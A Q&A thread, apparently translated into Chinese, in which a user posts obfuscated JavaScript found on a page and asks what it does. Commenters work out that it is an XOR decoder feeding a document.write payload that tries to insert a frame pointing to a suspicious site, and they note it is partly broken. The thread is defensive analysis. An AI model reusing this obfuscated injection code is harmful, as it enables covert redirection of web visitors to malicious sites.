【发布时间】:2011-06-29 02:41:16
【问题描述】:
我遇到了一些我认为是恶意的 java 脚本代码,但大部分都被混淆了。我想知道是否有人可以帮助我弄清楚这段代码的实际作用。
eval(unescape('function n48ec61ae(s) {
var r = "";
var tmp = s.split("12113781");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "608421");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
}
return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF@dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR@QTAOKRCE$5!A@n~cqa PDVJH xw| $_RE@!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms@q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I@^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF@;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->
提醒一下,不要执行此代码。
【问题讨论】:
-
除非 javascript 解析函数中存在错误,否则
n48..()似乎可以安全运行。然而,第二行中有一些错误,使其无法运行(当然没有 eval)。似乎想将 iframe 插入到坏站点,但我只能通过删除Goq...中的's 并将其作为 arg 传递给n48...(s)来提取部分 url。 -
嗯,我不完全确定,因为我没有脚本,它在 html cmets 中给了我这个和一个空白页,底部有这一行
-
它在 chrome 中似乎没有多大作用……除非我做错了什么。它似乎在我的屏幕上写了一堆垃圾。就是这样。
-
ninjagecko 是对的 - 它尝试打印如下内容:D^ikiCC{fuleJFiOfz\g{v!USEH3u^{wjAAtcx_)oblg?\hpqsl]r!!amsshwrAI\a ]eI>
oho]q]rXRZQK828'4*?RPBH[?*2*&JX<PGDR[F=PE$,(KPGP<QXCK?R=@2$C<frame NAME="top" SRC="http://ww0l\f_dzoay0k{s,pg^bkve:6.5ohf_o\al-\z2zem=r/90afE3;;+383h<" Z[NDTFQJAA_t]s\!M@OG@%iv{]gw/gv TOJK_knvu8`qfsb$SHSDHLUDCYAK.'PHTKGWIFHEJYJ9$MJSLMNKS@@+XS)GQ@OG?XO=CNC+1!!LMOBN@LI@=8iy^rjretJHrnamjrjl?{jsfr^lA> 7jl{pD" -
好吧,document.write 非常简单,但它试图打印的内容可能包含恶意脚本标签,我不确定这只是乱码还是实际可执行的混淆代码。跨度>